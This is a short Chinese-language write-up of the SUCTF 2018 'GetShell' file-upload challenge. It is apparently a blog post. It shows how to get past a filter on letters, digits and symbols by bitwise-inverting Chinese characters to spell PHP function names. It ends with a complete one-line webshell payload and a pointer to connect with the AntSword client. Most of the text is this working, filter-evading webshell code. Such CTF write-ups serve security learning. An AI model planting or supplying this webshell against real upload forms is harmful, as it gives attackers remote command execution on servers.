本文最后更新于:2023年8月25日 下午
[SUCTF 2018]GetShell
文件上传题目
发现在第五个之后,会对字符进行过滤,我们上传的时候抓包:
经过测试,发现字母、数字都被过滤了。典型的无字母数字webshell
+ | ^ % > < '
等字符被过滤了,所以我们只能使用取反 ~
绕过
测试得知,中文不会被绕过,所以我们需要使用中文取反
这里总结一下使用中文取反的汉字:
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?php echo ~"区"[1].PHP_EOL; echo ~"冈"[1].PHP_EOL; echo ~"勺"[1].PHP_EOL; echo ~"皮"[1].PHP_EOL; echo ~"针"[1].PHP_EOL;
echo ~"码"[1].PHP_EOL; echo ~"寸"[1].PHP_EOL; echo ~"小"[1].PHP_EOL; echo ~"欠"[1].PHP_EOL; echo ~"立"[1].PHP_EOL;
|
根据以上这些汉字,我们就可以构造出我们想要的命令执行了
1 2 3 4 5 6 7 8 9 10 11 12
| <?php $_=[]; $__=$_.$_; $_=($_==$__); $__=($_==$_);
$____ = ~区[$__].~冈[$__].~区[$__].~勺[$__].~皮[$__].~针[$__]; $___ = ~码[$__].~寸[$__].~小[$__].~欠[$__].~立[$__];
$____($$__[_]);
|
payload:
1
| <?=$_=[];$__=$_.$_;$_=($_==$__);$__=($_==$_);$___=~区[$__].~冈[$__].~区[$__].~勺[$__].~皮[$__].~针[$__];$____=~码[$__].~寸[$__].~小[$__].~欠[$__].~立[$__];$___($$____[_]);
|
直接蚁剑连接即可
无字母数字webshell